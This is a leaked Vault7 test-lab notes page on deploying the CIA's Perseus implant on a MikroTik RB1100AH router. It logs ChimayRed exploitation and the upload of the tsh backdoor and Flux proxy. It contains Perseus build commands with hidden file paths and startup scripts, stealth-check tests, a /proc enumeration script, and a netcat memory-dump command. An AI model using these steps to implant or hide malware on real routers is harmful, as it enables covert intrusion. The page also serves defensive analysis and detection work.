Vault7: CIA Hacking Tools Revealed
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DUT4 - RB1100AH - v1.2.0 Notes
IP: 172.20.100.22/30
VLAN: 615 (TOR6 gi1/0/11)
ROS: 6.26
Console Server Rack 6 Port 7
Tool Versions Used:
ChimayRed 4.6.1
TshPatcher 1.0.4
Perseus 1.2.0
Generate Perseus (from ICON4):
cd /usr/bin/perseus_v1.2.0
PERSEUS_BIN=perseus_1.2.0.4_routeros6_${TARGET_ARCH}.zip
sudo python bin/${PERSEUS_BIN} -f /flash/rw/hidden -f /flash/etc/rc.d/run.d/S99mcc -f /flash/etc/rc.d/run.d/S99tsh -d /flash/rw/hidden -p /flash/rw/tmp/tshd -S /flash/rw/hidden/startup -s 2 -r /flash/rw/hidden/dont_panic -P /ram/zero deploy_$PERSEUS_DEPLOY_VER
Test Timeline
Test Setup (from v1.1.0 testing):
- Setup console server, CoreSwx VLANs, and TOR6 Swx access ports
- Create Ubuntu 14.10 Host VM
- Installed ROS 6.30.2
- Setup WANWide Area Network IP on MT: /ip address add address=172.20.100.22/30 interface=ether12
- Setup LANLocal Area Network IP on MT: /ip address add address=192.168.88.1/24 interface=ether13
- Generate Perseus binary: python bin/perseus_1.1.0.4_routeros6_powerpc.zip -f /flash/boot/hidden -f /flash/etc/rc.d/run.d/S99mcc -f /flash/etc/rc.d/run.d/S99tsh -d /flash/boot/hidden -p /flash/rw/tmp/tshd-powerpc -S /flash/boot/hidden/startup -s 2 -m /flash/boot/hidden/mcc.ko -r /flash/boot/hidden/dont_panic -z /flash/boot/hidden/zero deploy_$PERSEUS_DEPLOY_VER
- PERSEUS_DEPLOY_VER=2015-07-27
- Downgraded to ROS 6.30.1. ChimayRed does not support 6.30.2.
- Download BB for PPCPowerPC (IBM) and x86
- Throw ChimayRed, Tshd, BB, and Flux.
- Configure Syslog (/system logging action set 3 bsd-syslog=yes remote=192.168.88.2)
- Take baseline measurement:
- Downgraded to ROS 6.26
10/20/2015
- Updated network diagram.
- Deployed Perseus 1.2.0
- Threw ChimayRed and uploaded tsh,
Operator Notes
Tests to Run:
mcc is visible
| ID | Status | Task |
|---|---|---|
| 1 | complete | lsmod | grep mcc # mcc will appear in list |
| 2 | complete | ls /lib/modules/3.3.5 #no mcc |
| 3 | complete | ls /ram/pckg #no mcc |
Inconsistent hiding
| ID | Status | Task |
|---|---|---|
| 4 | complete | ls /sys/module | grep mcc #mcc should be visible |
| 5 | complete | ls /sys/kernel | grep mcc # mcc should be hidden |
Check netstat for PID/Program name
| ID | Status | Task |
|---|---|---|
| 15 | complete | bb netstat -p |
Check if kallsyms shows 'mcc' and its symbols
| ID | Status | Task |
|---|---|---|
| 16 | complete | cat /proc/kallsyms | bb grep mcc |
Flux appears in firewall connections
| ID | Status | Task |
|---|---|---|
| 6 | complete | /ip firewall connection print |
Sequential listing of /proc/pid reveals hidden directories.
| ID | Status | Task |
|---|---|---|
| 7 | complete | Run following script |
#!/bin/ash
i=1
#echo "PIDs in /proc/" > proc_dirs
while [ $i -lt 1000 ];
do
test -d /proc/$i && echo $i >> proc_dirs
i=$((i+1));
done
bb ls -1v /proc > ls_dirs
bb grep -Fxv -f ls_dirs proc_dirs
Check if connection is attempted to cloud.mikrotik.com
| ID | Status | Task |
|---|---|---|
| 8 | complete | /system logging add action=echo topics=!ntp,!dhcp,!rip,!snmp |
Inspect Memory (before and after removing Perseus)
| ID | Status | Task |
|---|---|---|
| 9 | incomplete | ICON: nc -l -p 9999 | dd bs=1048576 of=DUTX-ram.bin |
| 10 | incomplete | Target: busbybox dd if=/dev/mem bs=1048576 count=1536 | bb nc 172.20.12.100 9999 |
| 11 | incomplete | Check for ELFs |
| 12 | incomplete | Check if call tables were modified |
| 13 | incomplete | Check mcc.ko for 'srcversion' string |
| 14 | incomplete | Remove perseus and re-inspect memory for mcc unload |
Verify Files Hidden
| ID | Status | Task |
|---|---|---|
| 0 | complete | bb ps ax | grep startup |
| 17 | complete | bb ps ax | grep tsh |
| 18 | complete | bb ps ax | grep flx |
Check that flux works at gateway
| ID | Status | Task |
|---|---|---|
| 19 | complete | Set flux as gateway. Open browser and go to http://172.20.11.104/whatismyip.php and make sure it returns the IP of your flux node. |
| ID | Status | Task |
|---|---|---|
| 20 | incomplete | Reboot and check if processes still exist |
| 21 | incomplete | Remove Perseus and inspect for remnants |
| 22 | incomplete | Remove Peseus and check if current running tshd and flx are present |
| 23 | incomplete | Re-attack if Perseus is already installed |